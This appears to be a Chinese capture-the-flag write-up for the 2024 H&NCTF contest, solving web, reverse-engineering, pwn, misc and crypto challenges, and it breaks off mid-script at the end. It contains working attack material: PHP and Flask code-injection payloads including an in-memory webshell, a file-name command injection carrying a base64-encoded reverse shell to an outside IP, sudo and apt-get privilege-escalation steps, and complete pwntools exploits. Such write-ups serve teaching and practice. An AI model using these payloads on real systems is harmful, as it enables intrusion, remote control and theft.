2024 H&NCTF WriteUP

WriteUP

TIP:可以留言给我换友链捏
第二次打ctf 之前只会做服务器取证 不知道为什么就第二了 可能队友比较C吧
本次比赛主要负责的是Musc方向 时间和黄河流域比赛撞了 没ak掉比较可惜

WEB

Please_RCE_Me

题目源码如下

<?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
}

考点:replace /e命令执行漏洞

由于正则开启了大小写匹配,所以可以用于绕过上面对于please_give_me_flag字符的检测,匹配到了就会执行task的代码,剩下的就是代码绕过了

?moran=flag

flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));

ez_tp

amazing兄弟,非预期了,想想哥们上次也是被日志打了非预期,尊嘟想啸

简单做下分析吧

App/Home/Controller/IndexController.class.php

这里是tp的初始文件,滑到最下面可以发现如下逻辑

if (waf()){
            echo "12311";
            $this->index();
        }else{
            $ret = $User->field('username,age')->where(array('username'=>$name))->select();
            echo "success";
            echo var_export($ret, true);
        }

对waf的返回结果进行判断,然后走向不同的代码逻辑,这里大概可以看出来是要让结果返回false,走到sql执行那里,返回上面去看waf

$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
            $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
            $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
            $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
            $vpattern = explode("|", $pattern);
            $bool = false;
            var_dump($input);

设置了一堆正则

foreach ($input as $k => $v) {
                foreach ($vpattern as $value) {
                    foreach ($v as $kk => $vv) {
                        if (preg_match("/$value/i", $vv)) {
                            $bool = true;
                            break;
                        }
                    }
                    if ($bool) break;
                }
                if ($bool) break;
            }
            return $bool;
        }

利用套娃循环检测所有的键值是否含有黑名单字段,如果有就返回true,再往上好像也没什么特殊字段了,但现在有一个问题是如何触发这个h_n,然后去问了手GPT,得到了答案,大致格式如下

index.php/home/index/h_n

以此来触发类中的方法,然后就去审代码看逻辑了,碰巧看到了日志,搜一手flag,拿下,paylaod如下

index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

原本的思路也是根据查询逻辑去查flag,不过非预期了,后面也就没分析了,抽空看吧

ezFlask

只执行一次,很容易想到内存马,而且题目也给出了任意代码执行,这里构造模板注入进行内存马写入

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

flipPin

源代码如下

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'






if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

看下代码逻辑大概知道是要伪造session,受shiro721影响,看到aes,很容易想到什么什么翻转攻击,再集合恶意payload伪造,就去百度学去了

https://blog.csdn.net/V1040375575/article/details/111773524

没看懂

究其根本还是对于session的伪造,结果是将0改成其他数字,所以可以尝试考虑爆破,解码几次分析一下,大概就是在13位的样子,访问两次read,抓包,对于给出的session进行b64码表爆破,多尝试几次,最后会有一个类型不对的返回结果,证明爆破成功,修改对应session,加filename对文件进行读取即可

read?filename=巴拉巴拉

这里涉及了一个黑名单问题,把self、cgroup给waf了,没遇到过,百度

https://blog.csdn.net/weixin_63231007/article/details/131659892

巧不巧,第一个就是

过滤 cgroup
用mountinfo或者cpuset

最终结果如下

probably_public_bits = [
    'ctfUser'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/lib/python3.9/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '223171425729702',  # /sys/class/net/eth0/address mac地址十进制
    '19088900-1695-441f-9f76-7379c20e5547bf7ece62cf3b189c136c57b05e74107bcb7209ce7bac7c5790d857b5ec7da7b0'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

GoJava

robots.txt泄露,main-old.zip下载得到源码

package main

import (
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
	// 设置路由
	http.HandleFunc("/gojava", compileJava)

	// 设置静态文件服务器
	fs := http.FileServer(http.Dir("."))
	http.Handle("/", fs)

	// 启动服务器
	log.Println("Server started on :80")
	log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
	for _, char := range filename {
		for _, blackChar := range blacklistChars {
			if char == blackChar {
				return true
			}
		}
	}
	return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
	// 检查请求方法是否为POST
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 解析multipart/form-data格式的表单数据
	err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
	if err != nil {
		http.Error(w, "Error parsing form", http.StatusInternalServerError)
		return
	}

	// 从表单中获取上传的文件
	file, handler, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Error retrieving file", http.StatusBadRequest)
		return
	}
	defer file.Close()

	if isFilenameBlacklisted(handler.Filename) {
		http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
		return
	}
	if !strings.HasSuffix(handler.Filename, ".java") {
		http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
		return
	}
	err = saveFile(file, "./upload/"+handler.Filename)
	if err != nil {
		http.Error(w, "Error saving file", http.StatusInternalServerError)
		return
	}
}

func saveFile(file multipart.File, filePath string) error {
	// 创建目标文件
	f, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer f.Close()

	// 将上传的文件内容复制到目标文件中
	_, err = io.Copy(f, file)
	if err != nil {
		return err
	}

	return nil
}

真就go写的,简单来说是对java文件进行编译操作,怎么编译的?

javac嘛,javac是什么?

系统命令,后面肯定是要跟上文件名的,所以猜测会有命令注入漏洞,构造恶意命令文件名如下

"1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYxIg== | base64 -d | bash;1.java"

这里由于对于文件名进行了部分waf,所以使用编码来避免麻烦,这里执行不知道是不是我电脑的问题,必须使用bash,sh‘连上就断

具体提权的探测过程就不多说了,在根目录有个memorandum,里面是root的密码

H2LvFxnWENLqVxE

su root

cat /root/f*

GPTS

gpt_academic,最近刚搭过这玩意,这就考了,你说巧不巧

https://xz.aliyun.com/t/14283?time__1311=mqmx9QiQKDqGqx05dIDymDcmrovhG2bD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DqSno1OmP9d2CmUVNF6dWlj3IPjQSJnN9EOdDQoHSahQwxVadWoNWhlQH3ZbKBhJV%26wd%3D%26eqid%3D965c761d00710cf200000006664181f0

开始时一个pickle反序列化漏洞,具体操作博客里面都有,就不具体说了

由于需要提权,所以上一下vshell做下权限维持,用户为ctfgame,上内核探针和信息收集没搜到什么东西,最终在

/var/spool/mail/ctfgame中发现如下内容

From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

I hope you cherish this opportunity.

尝试切换用户,切换成功,继续vshell上线

上传linpeas和LinEnum做信息收集

[+] We can sudo without supplying a password!
Matching Defaults entries for ctfer on hnctf-01hxryr832qjjc3astkt4rw4dw:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ctfer may run the following commands on hnctf-01hxryr832qjjc3astkt4rw4dw:
    (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin

收集到如上信息,简单来说

  • 用户ctfer可以以root权限运行以下命令,而且无需输入密码:
    • /usr/sbin/adduser: 允许执行adduser命令。
find / -perm -u=s -type f 2>/dev/null

/bin/mount
/bin/su
/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign

我们将用户添加到root组

sudo adduser ctfer root
sudo adduser --gid 0 chu0

新建用户然后切换,然后再进行一次信息收集

读取/etc/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
ctfer ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
kobe ALL=(root) PASSWD: /usr/bin/apt-get

可以发现有一个用户具有apt-get的root权限,尝试新建用户

sudo adduser --gid 0 kobe

kobe@hnctf-01hxryr832qjjc3astkt4rw4dw:/tmp$ id
uid=1005(kobe) gid=0(root) groups=0(root)

使用apt-get进行提权

sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

root目录拿到flag

cat /root/f*/f*

REVERSE

最喜欢的逆向题

image.png

maybe_xor

开撕

from pwn import *
from base64 import b64decode
from elftools.elf.elffile import ELFFile
import struct
import io
context.log_level = "debug"
io1 = remote('hnctf.imxbt.cn',44908)
def xor_bytes(byte_string, byte_array):
    # 确保数组长度不超过字节串长度
    min_len = min(len(byte_string), len(byte_array))
    # 对应位置上的字节执行异或运算
    result = bytearray()
    for i in range(min_len):
        result.append(byte_string[i] ^ byte_array[i])
    return bytes(result)
#这个问一下文言一心就可以写出来
def get_entry_point(elf):
    # 使用内存中的字节数据创建ELF文件对象
    elf = ELFFile(io.BytesIO(elf))
    # 获取ELF文件的起始地址(Entry Point)
    header = elf.header
    entry_point = header['e_entry']
    return entry_point
io1.recvuntil(b"Let's start with a warmup\n")
for i in range(129):
    io1.recvuntil(b"ELF:  ")
    dec = b64decode(io1.recvline())
    #这里注意一下,这里的base字符串就是属于一行的
    start_add = get_entry_point(dec)
    #这里我们需要取出的是基地址
    start_add -= 0x8048000
    #我们找寻压入栈的实际地址
    data = struct.unpack('<i', dec[start_add + 7:start_add + 11])[0]
    xor = []
    for i in range(24):
        xor.append(dec[start_add + 28 + i*9])
    #这里我们进行存储
    data2 = dec[start_add + 11 + data:start_add + 11 + data + 24]
    print(data2)
    bytes_obj = bytes(xor)
    print(bytes_obj)
    result = xor_bytes(data2, bytes_obj)
    io1.sendline(''.join(format(i, '02x') for i in result))
io1.interactive()
DO YOU KNOW SWDD?

image.png
image.png
H&NCTF{I_LOVE_SWDD_WHAT_ABOUT_YOU}

hnwanna

image.png
image.png
H&NCTF{ozxyfjfxdzsnydlfrj}

childmaze

和迷宫没啥关系,因为我跑迷宫就压跟没找到出口
image.png
H&NCTF{Ch411enG3_0f_M4z3}

Baby_OBVBS

解混淆

eAqi = "59fc6b263c3d0fcbc331ade699e62d3473bbf85522d588e3423e6c751ca091528a3c0186e460483917192c14"
ANtg = "baacc7ffa8232d28f814bb14c428798b"
Function Base64Decode(base64EncodedString)
    Dim xml, elem
    Set xml = CreateObject("MSXML2.DOMDocument")
    Set elem = xml.createElement("tmp")
    elem.dataType = "bin.base64" 
    elem.text = base64EncodedString 
    Dim stream
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1 'Binary
    stream.Open
    stream.Write elem.nodeTypedValue 
    stream.Position = 0
    stream.Type = 2 'Text
    stream.Charset = "utf-8"
    Base64Decode = stream.ReadText
    stream.Close
End Function


Function Initialize(strPwd)
    Dim box(256)
    Dim tempSwap
    Dim a
    Dim b

    For i = 0 To 255
        box(i) = i
    Next

    a = 0
    b = 0

    For i = 0 To 255
        a = (a + box(i) + Asc(Mid(strPwd, (i Mod Len(strPwd)) + 1, 1))) Mod 256
        tempSwap = box(i)
        box(i) = box(a)
        box(a) = tempSwap
    Next

    Initialize = box
End Function

Function Myfunc(strToHash)
    Dim tmpFile, strCommand, objFSO, objWshShell, out
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objWshShell = CreateObject("WScript.Shell")
    tmpFile = objFSO.GetSpecialFolder(2).Path & "\" & objFSO.GetTempName
    objFSO.CreateTextFile(tmpFile).Write(strToHash)
    strCommand = "certutil -hashfile " & tmpFile & " MD5"
    out = objWshShell.Exec(strCommand).StdOut.ReadAll
    objFSO.DeleteFile tmpFile
    Myfunc = Replace(Split(Trim(out), vbCrLf)(1), " ", "")
End Function

Function EnCrypt(box, strData)
    Dim tempSwap
    Dim a
    Dim b
    Dim x
    Dim y
    Dim encryptedData
    encryptedData = ""
    For x = 1 To Len(strData)
        a = (a + 1) Mod 256
        b = (b + box(a)) Mod 256
        tempSwap = box(a)
        box(a) = box(b)
        box(b) = tempSwap
        y = Asc(Mid(strData, x, 1)) Xor box((box(a) + box(b)) Mod 256)
        encryptedData = encryptedData & LCase(Right("0" & Hex(y), 2))
    Next
    EnCrypt = encryptedData
End Function

msgbox "Do you know VBScript?"
msgbox "VBScript (""Microsoft Visual Basic Scripting Edition"") is a deprecated Active Scripting language developed by Microsoft that is modeled on Visual Basic."
msgbox "It allows Microsoft Windows system administrators to generate powerful tools for managing computers without error handling and with subroutines and other advanced programming constructs. It can give the user complete control over many aspects of their computing environment."
msgbox "Interestingly, although VBScript has long since been deprecated, you can still run VBScript scripts on the latest versions of Windows 11 systems."
msgbox "A VBScript script must be executed within a host environment, of which there are several provided with Microsoft Windows, including: Windows Script Host (WSH), Internet Explorer (IE), and Internet Information Services (IIS)."
msgbox "For .vbs files, the host is Windows Script Host (WSH), aka wscript.exe/cscript.exe program in your system."
msgbox "If you can not stop a VBScript from running (e.g. a dead loop), go to the task manager and kill wscript.exe/cscript.exe."
msgbox "cscript and wscript are executables for the scripting host that are used to run the scripts. cscript and wscript are both interpreters to run VBScript (and other scripting languages like JScript) on the Windows platform."
msgbox "cscript is for console applications and wscript is for Windows applications. It has something to do with STDIN, STDOUT and STDERR."
msgbox "OK! Now, let us begin our journey."

key = InputBox("Enter the key:", "CTF Challenge")
if (key = False) then wscript.quit
if (len(key)<>6) then
    wscript.echo "wrong key length!"
    wscript.quit
end if
If (Myfunc(key) = ANtg) Then
    wscript.echo "You get the key!Move to next challenge."
Else
    wscript.echo "Wrong key!Try again!"
    wscript.quit
End If

userInput = InputBox("Enter the flag:", "CTF Challenge")
if (userInput = False) then wscript.quit
if (len(userInput)<>44) then
    wscript.echo "wrong!"
    wscript.quit
end if
box = Initialize(key)
encryptedInput = EnCrypt(box, userInput)

If (encryptedInput = eAqi) Then
    MsgBox "Congratulations! You have learned VBS!"
Else
    MsgBox "Wrong flag. Try again."
End If

wscript.echo "bye!"

hashcat -m 0 -a 3 baacc7ffa8232d28f814bb14c428798b ?a?a?a?a?a?a
image.png

PWN

close

close(1)关闭了标准输出
利用stdout重定向,将文件描述符 1 重定向到文件描述符 0 :
直接执行 execv 1>&0 ,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了
image.png
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传image.png

ez_pwn
Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

给了个假的后门函数,不过system的plt我们可以利用
有两次read、printf,而read只能溢出覆盖掉rbp的值。
第一个read printf,肯定是用来泄露信息的,gdb动调发现,可以泄露栈地址。
之后想到,这个程序在vul函数会leave ret;那这样的话,可以覆盖rbp值为我们第二次read的内容对应的栈地址处,然后在main函数的leave ret;时可以控制到程序执行流程了,本来是想构造system(‘/bin/sh\x00’)的
但这个参数有点奇怪,老是在我的/bin/sh\x00的/sh处取参数,整体右移4bytes后,又会在/bin和/sh\x00中插入8bytes的奇怪值【可能与大小端序有关吗?32位研究得少】
当然通过这个也可以明白,是从哪个位置开始作system函数的参数的,为了验证自己的想法,把/bin的位置改成ls\x00\x00,成功把远程的目录打印出来,之后还是没弄明白该如何避免中间的乱码。于是用system(“sh”)了,当然$0也是可以的

from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote("hnctf.imxbt.cn", 30187)
# gdb.attach(io)
system = 0x8048400
pay = b'a'*(0x2c-1)
io.sendline(pay)
io.recvuntil(b'aaa\n')
stack_addr = u32(io.recv(4))
print(f"stack_addr -->{hex(stack_addr)}")
fake_base = stack_addr - 0x30
bin_sh = stack_addr - 0x38
# bin_sh = 0x80486F0
print(f"bin_sh -->{hex(bin_sh)}")
payload = b"aaaa sh\x00/bin" + p32(system) + b'abcd' + p32(bin_sh)
payload = payload.ljust(0x2c, b'a') + p32(fake_base)
io.sendline(payload)
io.interactive()
idea
Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这里有个整数溢出
然后虽然有canary保护,但gift函数能够泄露出canary来,实际还能再泄露出一个canary的地址【尽管我们并没有用到】
刚开始还想打ret2syscall来着,但没看到eax寄存器的控制方法,就没考虑了,直接ret2libc
结合题目描述给了libc版本,我glibc-all-in-one下的libc版本貌似不太对,打不通,libc_base都不正常,于是找libc search网页版:
先与远程交互看看puts的情况,然后根据题目说的2.23版本,找到这个,一试就成功了
image.png
exp如下:

from pwn import *
context.log_level = 'debug'
# io = process('./idea')
io = remote("hnctf.imxbt.cn", 58212)
elf = ELF("./idea")
#libc = ELF("libc-2.23.so")
pay = b"%p%7$p"
io.sendline("-1")
io.sendlineafter("Ok, sounds good. I'll give u a gift!\n", pay)
stack_addr = int(io.recv(10), 16)
canary = int(io.recv(10), 16)
log.info("stack_addr: " + hex(stack_addr))
log.info("canary: " + hex(canary))

vuln = 0x804870d
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# int80_addr = 0x804861E
# pop_eax
# pop_ebx_esi_edi_ebp_ret = 0x08048858
# pop_ebx_ret = 0x08048465

payload = b'a'*(0x20) + p32(canary) + b"a"*0xc + p32(puts_plt) + p32(vuln) + p32(puts_got)
io.sendline(payload)
# gdb.attach(io, "b *0x80487d1")
io.recvuntil(b"aaaa\n")
libc_base = u32(io.recv(4)) - 0x05f150
# print("real_libc: " + hex(libc_base + libc.sym['puts'] - 0x732a0))
# 0xf3e732a0 - 0xf3e00000
# system = libc_base + libc.sym['system']
system = libc_base + 0x03a950
bin_sh = libc_base + 0x15912b
log.info("libc_base: " + hex(libc_base))
log.info("system: " + hex(system))

payload = b'a'*(0x20) + p32(canary) + b"a"*0xc + p32(system) + p32(0) + p32(bin_sh)
io.sendline("-1")
io.sendline("666666")
io.sendline(payload)
io.interactive()
what
Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

2.27下,常规的tcachebin attack,看到有UAF漏洞:

int free_0()
{
  if ( !*((_QWORD *)&a1 + num - 1) )
    return puts("Error");
  free(*((void **)&a1 + num - 1));
  return --num;
}

然后,有show、edit,并且malloc的size可以设置很大。
那思路就很明显了,申请足够大的堆块,先填满7个tcachebin,然后再申请得到一个unsortedbin,然后free掉,再用show可以泄露出一个libc相关地址。我这里之后是通过edit修改free掉的tcachebin的fd指针,指向free_hook,再申请回来,实现在free_hook处写,改free_hook为onegadget,然后getshell。

from pwn import *
context.log_level = 'debug'
libc = ELF("./libc-2.27.so")
# io = process('./what')
io = remote("hnctf.imxbt.cn",41599)

menu = 'your command:\n'

def add(size):
    io.sendlineafter(menu, '1')
    io.sendlineafter('size:\n', str(size))

def delete():
    io.sendlineafter(menu, '2')


def show(index):
    io.sendlineafter(menu, '3')
    io.sendlineafter('please enter idx:', str(index))

def edit(index, content):
    io.sendlineafter(menu, '4')
    io.sendlineafter('please enter idx:', str(index))
    io.sendlineafter('Please enter your content:', content)

# gdb.attach(io, "b *$rebase(0xD55)")

for i in range(8):
    add(256)

for i in range(8):
    delete()

show(0)
io.recvuntil("Content:")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
log.info("libc_base --> " + hex(libc_base))
# malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
# print(hex(libc.sym["__malloc_hook"]))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

ogg = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = ogg[2] + libc_base


add(24)
delete()
edit(0, p64(free_hook))
add(24)
add(24)
edit(1, p64(one_gadget))
add(24)
delete()
# 0x000078e95e3ebca0 - 0x78e95e000000
io.interactive()

MISC

Minecraft

直接玩 没啥好说的
lQLPJxqEUSa4lz3NBkDNCgCwrmVoIGFaC4MGLMjbhwJfAA_2560_1600.png

签到

没啥好说的

签退

没啥好说的

问卷

没啥好说的

小明是个猴子

vol起手 前期基本操作不赘述了
imageinfo看到是Win7
pslist看到一个mspaint.exe
老方法dumpfiles导出data块
GIMP+翻转查看得到key
image.png
直接解密得到flag:H&NCTF{U_r_a_f0rensic_m4s7er}

osint_pro

image.png
说明在山西运城
image.png
接着定位圣天湖景区
ccb在贵阳
我们直接贵阳到山西
![S88XH@LC5@I8RL]QH}L]0DH.png](https://img-blog.csdnimg.cn/img_convert/1b3dd89de2b69bbdcad843c770ae9a74.png)
找到第一个

secret

image.png
key:Snow White
image.png
image.png
然后就随波逐流
兑震乾兑乾坤乾艮乾兑兑艮兑乾震兑乾坎兑艮乾兑乾艮乾艮巽兑离震兑坎坤兑乾艮兑坎离兑兑巽兑艮离兑震兑兑坎震兑离离兑兑离兑坤乾兑艮离兑兑坎兑兑震兑艮巽兑坎坤兑兑巽兑艮兑兑艮乾兑离艮兑兑坤兑坎艮兑乾离兑离巽兑兑坎兑兑离兑艮坤兑艮乾兑离乾兑巽兑兑坤乾兑艮离兑兑巽兑艮兑兑艮乾兑离艮兑离乾兑巽离兑坎坤乾坎震
XG0NCEpF4SoFjLrYkRJxrMKtoLqpVOnBTMJwpPaxrLqpVPbo+
xxencode
image.png

CRYPTO

BabyPQ
from Crypto.Util.number import *
import random
import gmpy2
n= 100209884730497239329614073823751248725744283743409786136245136454117560558726651935131721498828230154215296850075773555648950573109825027196850146571463118698972641332083617854508572948636727129295914781919564124294561361510171080807502875321719216052899638038990325835306328167217060278691058535573042112447
phin= 100209884730497239329614073823751248725744283743409786136245136454117560558726651935131721498828230154215296850075773555648950573109825027196850146571463098616525840380343639087355839862235514673108232049957432772032648410008714333578402080161214013822099314769942893994172052215545906846903965784300804090160

def getpq(n,phin):
    while True:
        for i in range(1,65537):
            k = phin*i
            g = random.randint(0, n)
        while k%2==0:
            k=k//2
            temp=gmpy2.powmod(g,k,n)-1
            if gmpy2.gcd(temp,n)>1 and temp!=0:
                return gmpy2.gcd(temp,n)
a=getpq(n,phin)
print(a)
#q=9256186683011677480213880478091817361641474155261533035846084985487896296926596124277759543024640028337831608004276228224744977510540550289995254559643911
p=n//q
print(p)
#p=10826260117940062498553272254994583850814713527470429095506176927463605159820632976517400962177590771985437439427564906051206693642891236802756017678378377
└─$ nc hnctf.imxbt.cn 45675
n= 100209884730497239329614073823751248725742149882823015421529685007577355564895057310985729486367271292959147819195641242945613615306328167217060278691058535573042112447
phin= 100209884730497239329614073823751248723172149882823015421529685007577355564895057373558398622355146731082320499574327720326484994172052215545906846903965784300804090160
Do you really know RSA?
o.0  OK, tell me the p:
p> 9256186683011677480213880478091817361641454302464002833783160800427622822474497751054
Wrong! try the other one
p> 1082626011794006249855327225499458385081409621775907719854374394275649060512066936428
H&NCTF{426ab535-ab42-4faa-a098-65270444dccf}
f=(?*?)

将文件中的字符替换为0,1即是pq
把pq提取出来,密文做b64decode即可解密

from Crypto.Util.number import *
import random
import gmpy2
import base64
ci=b've9MPTSrRrq89z+I5EMXZg1uBvHoFWBGuzxhSpIwu9XMxE4H2f2O3l+VBt4wR+MmPJlS9axvH9dCn1KqFUgOIzf4gbMq0MPtRRp+PvfUZWGrJLpxcTjsdml2SS5+My4NIY/VbvqgeH2qVA=='
cii=base64.b64decode(ci)
print(cii)
c=bytes_to_long(cii)
p=57357445697656305449852658985072306792176526325401427689338172257827853689473430283849367024117704513636066741450894144354439223
q=89992838080292432041749786501934273286234288253944531238372481458518903256335509625431026718322552331965908097158513049639942869
n=p*q
phi=(p-1)*(q-1)
e=65537
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
ezmath

task

#sage9.3
from Crypto.Util.number import *
flag = b'Kicky_Mu{KFC_v_me_50!!!}'
p = getPrime(256)
q = getPrime(256)
n = p*q^3
e = # what is usually used ?
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)

print(c)
print(N)

# c = 34992437145329058006346797890363070594973075282993832268508442432592383794878795192132088668900695623924153165395583430068203662437982480669703879475321408183026259569199414707773374072930515794134567251046302713509056391105776219609788157691337060835717732824405538669820477381441348146561989805141829340641
# N = 14131431108308143454435007577716000559419205062698618708133959457011972529354493686093109431184291126255192573090925119389094648901918393503865225710648658

exp

from Crypto.Util.number import *
import gmpy2
c = 34992437145329058006346797890363070594973075282993832268508442432592383794878795192132088668900695623924153165395583430068203662437982480669703879475321408183026259569199414707773374072930515794134567251046302713509056391105776219609788157691337060835717732824405538669820477381441348146561989805141829340641
N = 14131431108308143454435007577716000559419205062698618708133959457011972529354493686093109431184291126255192573090925119389094648901918393503865225710648658
e = 65537
p,q=two_squares(N)

n = p*q**3
phi=q**2*(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=int(pow(c,d,n))
print(long_to_bytes(m))
ez_Classic

根据提示 base65536 base2048 dna解密

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传image.png

image.png
image.png

BabyAES

image.png
task

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag
import time
import random

flag = pad(flag,16)
assert b"H&NCTF" in flag

seed = int(time.time())
random.seed(seed)
key = random.randbytes(16)
iv = random.randbytes(16)
aes = AES.new(key,AES.MODE_CBC,iv)
cipher = aes.encrypt(flag)

print(f"cipher = {cipher}")

"""
cipher = b'\x96H_hz\xe7)\x0c\x15\x91c\x9bt\xa4\xe5\xacwch\x92e\xd1\x0c\x9f\x8fH\x05\x9f\x1d\x92\x81\xcc\xe0\x98\x8b\xda\x89\xcf\x92\x01a\xe1B\xfb\x97\xdc\x0cG'
"""

除了seed没别的东西了,看文档时间,2020年,直接从2020.1.1 0:00:00开始爆破seed,其他的套加密公式即可

# -*- coding: utf-8 -*-
"""
Created on Mon May 13 08:29:13 2024

@author: lenovo
"""
from Crypto.Cipher import AES
import os
from gmpy2 import *
from Crypto.Util.number import *
import random
from tqdm import tqdm

